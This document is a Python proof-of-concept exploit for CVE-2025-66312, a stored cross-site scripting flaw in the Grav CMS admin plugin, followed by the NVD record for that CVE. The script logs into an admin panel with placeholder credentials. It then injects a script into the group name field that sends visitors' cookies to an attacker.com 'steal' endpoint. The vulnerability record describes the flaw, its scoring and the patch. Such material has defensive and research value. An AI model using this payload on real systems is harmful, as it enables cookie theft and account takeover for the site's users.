CVE-2025-66312

import requests import json # CVE-2025-66312 PoC - Stored XSS in Grav Admin Plugin # Target: Grav < 1.11.0-beta.1 TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/admin" GROUPS_URL = f"{TARGET_URL}/admin/accounts/groups/Grupo" # Authentication credentials USERNAME = "admin" PASSWORD = "password" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """Exploit stored XSS vulnerability in Grav admin groups endpoint""" # Step 1: Login to Grav admin panel session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via data[readableName] parameter exploit_data = { "data[readableName]": XSS_PAYLOAD, "task": "saveGroup" } response = session.post(GROUPS_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when users access the groups page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-66312", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:51.367", "lastModified": "2025-12-03T21:56:09.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/accounts/groups/Grupo endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[readableName] parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. This vulnerability is fixed in 1.11.0-beta.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.50", "matchCriteriaId": "73FB7A1C-A39D-4C67-B437-015016437B77"}]}]}], "references": [{"url": "https://github.com/getgrav/grav-plugin-admin/commit/99f653296504f1d6408510dd2f6f20a45a26f9b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-rmw5-f87r-w988", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-rmw5-f87r-w988", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}